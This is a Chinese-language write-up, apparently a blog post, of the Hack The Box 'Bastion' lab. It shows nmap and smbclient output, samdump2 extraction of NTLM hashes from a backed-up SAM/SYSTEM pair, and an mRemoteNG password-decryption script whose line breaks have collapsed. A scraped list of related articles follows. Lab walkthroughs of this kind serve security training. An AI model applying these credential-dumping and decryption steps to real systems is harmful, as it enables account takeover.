bastion介绍

这是一个运行windows的机器，并且可以连ssh。

nmap

先是nmap扫一下：

Nmap scan report for 10.10.10.134
Host is up (0.32s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT    STATE SERVICE      VERSION
22/tcp  open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
25/tcp  open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open  pop3?
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-time:
|   date: 2022-02-22T05:52:08
|_  start_date: 2022-02-22T05:15:41
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-02-22T06:52:10+01:00
|_clock-skew: mean: -15m58s, deviation: 34m35s, median: 3m59sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 777.18 seconds

这里发现smb和ssh都开启了，尝试利用smb

smbclient

这里先看看samba里面都有啥：

┌──(kento㉿kali)-[~]
└─$ smbclient -L 10.10.10.134
Enter WORKGROUP\kento's password: Sharename       Type      Comment---------       ----      -------ADMIN$          Disk      Remote AdminBackups         Disk      C$              Disk      Default shareIPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

这里有一个备份文件，
get出note.txt查看发现是一个提示：

Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

接下来为了方便，我使用的是windows来连接靶机：

然后，找到\10.10.10.134\Backups\WindowsImageBackup\L4mpje-PC下的vhd文件，前面已经提示过不能直接下载整个文件，这里只需要下载SAM和SYSTEM。然后使用kali自带的samdump2获取windows里的用户和密码。

─(kento㉿kali)-[~/桌面]
└─$ samdump2 SYSTEM SAM
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

这里只有L4mpje的密码为：
然后ssh登录L4mpje：

ssh l4mpje@10.10.10.134

然后能够看到一个mRemoteNG软件，这里注意的是这个软件的配置文件confCons.xml覆盖到其他电脑可以直接执行。所以，我们找一个windows来尝试，导入配置文件：

然后再工具中新建一个外部工具，按照如下填写：

然后执行工具：

这里网上也有大佬写的破解脚本：传送门

import hashlib
import base64
from Cryptodome.Cipher import AES
import argparse
import sysdef main():parser = argparse.ArgumentParser(description="Decrypt mRemoteNG passwords.")group = parser.add_mutually_exclusive_group()group.add_argument("-f", "--file", help="name of file containing mRemoteNG password")group.add_argument("-s", "--string", help="base64 string of mRemoteNG password")parser.add_argument("-p", "--password", help="Custom password", default="mR3m")if len(sys.argv) < 2:parser.print_help(sys.stderr)sys.exit(1)args = parser.parse_args()encrypted_data = ""if args.file != None:with open(args.file) as f:encrypted_data = f.read()encrypted_data = encrypted_data.strip()encrypted_data = base64.b64decode(encrypted_data)elif args.string != None:encrypted_data = args.stringencrypted_data = base64.b64decode(encrypted_data)else:print("Please use either the file (-f, --file) or string (-s, --string) flag")sys.exit(1)salt = encrypted_data[:16]associated_data = encrypted_data[:16]nonce = encrypted_data[16:32]ciphertext = encrypted_data[32:-16]tag = encrypted_data[-16:]key = hashlib.pbkdf2_hmac("sha1", args.password.encode(), salt, 1000, dklen=32)cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)cipher.update(associated_data)plaintext = cipher.decrypt_and_verify(ciphertext, tag)print("Password: {}".format(plaintext.decode("utf-8")))if __name__ == "__main__":main()

结果

htb-bastion相关推荐

手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好？...
我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...
linux htb 源代码,LINUX TC:HTB相关源码
LINUX TC:HTB相关源码收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...
Linux 工具 | 第1篇：高级流控-TC+HTB+IFB+内核模块
作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...
linux下TC+HTB流量控制
C规则涉及到队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...
HTB打靶(Active Directory 101 Mantis)
namp扫描 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 03:40 EST Stats: 0:01:28 elapsed; 0 hos ...
Linux TC 流量控制与排队规则 qdisc 树型结构详解（以HTB和RED为例）
1. 背景 Linux 操作系统中的流量控制器 TC (Traffic Control) 用于Linux内核的流量控制,它规定建立处理数据包的队列,并定义队列中的数据包被发送的方式,从而实现对流量的控 ...
漏洞payload 靶机_【HTB系列】靶机Bitlab的渗透测试
本文作者:是大方子(Ms08067实验室核心成员) ﹀﹀﹀ 0x00 本文目录反思与总结基本信息渗透测试过程补充 0x01 反思与总结 1. curl 发送GET参数化请求 2. 对反弹回 ...
HTB打靶(Active Directory 101 Reel)
nmap扫描目标 nmap -A -T4 10.10.10.77 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 01:30 EST Nma ...
bastion host - 堡垒主机 / 跳板机
bastion host - 堡垒主机 / 跳板机 A bastion host is a special purpose computer on a network specifically des ...
HTB靶场系列 Windows靶机 Granny靶机
勘探还是使用nmap进行侦擦先大致扫描 nmap 10.10.10.15 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-01 10:29 C ...

htb-bastion

bastion介绍

nmap

smbclient

结果

htb-bastion相关推荐

最新文章

热门文章